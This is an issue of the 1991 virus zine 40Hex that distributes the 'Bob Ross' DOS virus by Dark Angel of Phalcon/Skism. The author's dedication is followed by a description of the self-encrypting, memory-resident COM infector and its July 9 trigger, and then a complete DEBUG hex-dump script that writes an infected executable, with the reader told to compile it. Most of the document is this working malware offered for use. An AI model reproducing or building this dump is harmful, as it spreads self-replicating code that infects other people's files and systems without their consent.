Copy Link
Add to Bookmark
Report
40Hex Issue 04 File 002
40Hex Issue 4 December 1991
The Bob Ross Virus
This is the infamous Bob Ross virus by Dark Angel of Phalcon/Skism.
Here's a bit from the author first.
The Funky Bob Ross Virus Version 1.0
Written by Dark Angel / 26 September 1991 / (c) 1991
PHALCON/SKISM Co-op
Effective length: 1125, Resident length: 672 bytes
DEDICATION:
This virus was written expressedly to
1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
other guru-wanna-bes in this world.
2) Spread the message of The Almighty Bob, and so enrichen the lives
of people all over the world.
3) Show off (Now I can tell people that I wrote a virus!)
WHAT THIS IS:
This is a self-encrypting, non-overwriting COM infector. It doesn't do
anything to EXE files. File sizes increase by 1117 bytes. It goes off
on July 9th of any year or after 7 infection "waves."
WHAT IT DOES WHEN IT GOES OFF:
The virus goes memory resident and prints out a Bobism every 5 minutes.
It then enters a delay loop for approximately 5 seconds, allowing for a
brief moment of silence while the victim reads Bob's holy message. The
virus will not destroy anything. The virus will not go TSR if it finds
another copy of itself in memory.
Well, here it is, the hex dump, by now you should know how to compile
it from the hex dump.
-------------------------------------------------------------------------------
n bob-ross.com
e 0100 FF 26 04 01 D0 08 C8 07 00 00 00 00 00 00 00 00
e 0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0880 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CD 20
e 08D0 FC E8 0A 00 BE D3 01 03 36 06 01 FF E6 B6 BE 15
e 08E0 01 03 36 06 01 8A 24 B9 23 04 83 C6 2D 90 8B FE
e 08F0 AC 32 C4 AA E2 FA C3 56 E8 E3 FF B9 5D 04 5A 83
e 0900 C2 B5 90 B4 40 CD 21 E8 D4 FF 75 5F 7D B1 B6 B6
e 0910 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0920 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0930 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0940 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0950 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 EA
e 0960 B6 9C 98 D5 D9 DB B6 9C 98 9C B6 98 98 B6 B6 B6
e 0970 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0980 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6
e 0990 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 B6 37 70 C6 49 3D
e 09A0 48 35 71 BE 0F BE B6 45 12 02 F1 84 64 35 70 BC
e 09B0 7B 97 C4 9C 02 8D 3D 60 35 74 F4 7B 97 C4 A9 35
e 09C0 70 F6 48 B2 E0 35 70 B7 70 B2 B5 5E A9 B6 E8 36
e 09D0 8A B1 CB BB 02 9C 7B 97 37 4C BF B1 C2 B5 5F A0
e 09E0 B4 5F 11 B7 B6 B6 B6 B6 B6 B6 B6 B6 B6 E3 3D 5A
e 09F0 35 5A 9A E0 5D C6 26 02 AC 3B E0 62 7B 97 02 F8
e 0A00 0F A6 B6 0C 29 B7 B5 A0 B0 B7 7B 97 5D 90 36 C8
e 0A10 44 98 C2 A3 3B E0 44 02 8D 7B 97 C4 BA 08 10 B7
e 0A20 B5 80 B0 B7 49 B2 5E 72 49 3B E0 62 02 AC 7B 97
e 0A30 02 F9 7B 97 C5 6E 08 10 B7 B5 80 B0 B7 35 8A B6
e 0A40 C8 BB 49 BA 0C 15 B7 B5 A0 B0 B7 02 8D 7B 97 E8
e 0A50 3D 53 EB 75 5F 16 B7 08 10 B7 B5 80 B0 B7 71 B2
e 0A60 B6 B6 5D 5D 5D 27 02 AC 0C 1E B7 B5 A0 B0 B7 7B
e 0A70 97 02 F8 0F B1 B6 0C 2F B7 B5 A0 B0 B7 7B 97 C4
e 0A80 55 5D A4 26 08 20 B7 B5 80 B0 B7 48 BA C2 7E 02
e 0A90 F9 7B 97 C4 79 08 7A B7 B5 80 B0 B7 36 8A F2 C2
e 0AA0 58 0E B6 8B 3D 60 35 5C B0 7B 97 C4 54 25 02 89
e 0AB0 0F BE B6 0C F5 B7 B5 A0 B0 B7 E4 7B 97 E8 E0 1B
e 0AC0 8B 49 90 C3 A2 1B 8B B2 B7 C3 B8 E8 02 88 7B 97
e 0AD0 5D 0B E6 FE F7 FA F5 F9 F8 E8 35 70 CC 3D 48 35
e 0AE0 71 E9 12 13 13 13 35 CA 48 BE 26 CA 69 02 9A 7B
e 0AF0 97 B4 60 C2 4E 08 A3 B7 B5 80 B0 B7 3E A2 0E B7
e 0B00 F5 85 7F 3D 60 37 74 07 B6 7B 97 02 88 7B 97 0E
e 0B10 B4 8B 7B 97 C4 00 3D 4C 35 71 EB 1D 25 02 F6 0F
e 0B20 B2 B6 0C B6 B7 7B 97 02 F6 3D 41 35 70 4A 37 B2
e 0B30 B6 B7 0F B4 B6 3D 60 7B 97 3D B2 9B BE B7 37 70
e 0B40 84 49 E0 3F B2 02 F6 0F B4 B6 3D 60 7B 97 0E B4
e 0B50 F4 85 7F 85 64 7B 97 5E 2B 4B E8 37 70 66 B6 3D
e 0B60 AA 0E B7 E1 35 70 4C 3D BA 35 70 B4 3D A2 7B 97
e 0B70 02 88 7B 97 0E B7 F5 84 5B 35 70 4B 3C BA 3D 60
e 0B80 35 74 1C 7B 97 5F 4A 48 5D DB 26 B0 98 70 B0 B6
e 0B90 B7 B6 85 6D 3A 7E F5 38 75 8D 75 C2 B9 08 B6 B7
e 0BA0 3D 48 0F B2 B6 45 10 C3 5B 5D FD 26 B1 98 71 B0
e 0BB0 BE B7 16 A2 98 71 B0 A6 B7 B7 B6 08 E5 B2 B5 80
e 0BC0 B0 B7 09 A4 B7 0F A4 B7 45 12 0E BE 83 7B 97 98
e 0BD0 3F A8 B2 B7 98 3A B0 B0 B7 0E BE 93 0C A4 B7 7B
e 0BE0 97 B0 17 9A B6 38 76 02 FF 7B 97 B1 0E B6 87 0C
e 0BF0 9C B6 7B 97 7B 96 B1 02 8D 0C 21 B7 B5 A0 B0 B7
e 0C00 7B 97 02 8D 35 74 08 7B 97 3D 44 35 70 40 09 B6
e 0C10 B7 0F BE B6 45 12 09 B6 B7 49 51 E6 E5 E7 E4 E0
e 0C20 A8 B0 2A 98 49 B8 BE B7 C3 FB 98 71 B0 BE B7 26
e 0C30 B7 B8 A9 B8 B1 08 CD B7 98 3D B8 A6 B7 84 52 1A
e 0C40 B5 46 54 4D 1A 31 43 85 7F 3C 7E 0E B6 A5 0D C6
e 0C50 B6 85 64 7B A6 98 49 B0 A6 B7 98 35 88 A6 B7 B1
e 0C60 C3 B1 98 71 B0 A6 B7 B7 B6 0F 86 B6 E7 0F 49 49
e 0C70 54 48 EF 54 41 31 43 2B B1 A9 E8 EC EF ED EE 98
e 0C80 49 98 B2 B7 B6 B9 F4 D9 D4 96 E4 D9 C5 C5 96 DA
e 0C90 DF C0 D3 C5 97 A3 F4 D9 D4 96 E4 D9 C5 C5 96 DF
e 0CA0 C5 96 C1 D7 C2 D5 DE DF D8 D1 97 A0 FB D7 CF D4
e 0CB0 D3 96 DE D3 96 DA DF C0 D3 C5 96 DE D3 C4 D3 98
e 0CC0 98 98 AC E1 DE D7 C2 96 D7 96 DE D7 C6 C6 CF 96
e 0CD0 DA DF C2 C2 DA D3 96 D5 DA D9 C3 D2 97 90 FB D7
e 0CE0 CF D4 D3 96 DE D3 96 DE D7 C5 96 D7 96 D8 D3 DF
e 0CF0 D1 DE D4 D9 C3 C4 96 C4 DF D1 DE C2 96 DE D3 C4
e 0D00 D3 98 98 98 9E EF D9 C3 96 D5 D7 D8 96 DB D7 DD
e 0D10 D3 96 C3 C6 96 C5 C2 D9 C4 DF D3 C5 96 D7 C5 96
e 0D20 CF D9 C3 96 D1 D9 96 D7 DA D9 D8 D1 98 1A 1A 1A
rcx
C2D
w
q
--------------------------------------------------------------------------------
The virus itself is only 1125 bytes, this file is 3125 to account for an
infected file.
Scan 85 detects it as the [Beta] virus, but strain-b will be out soon.
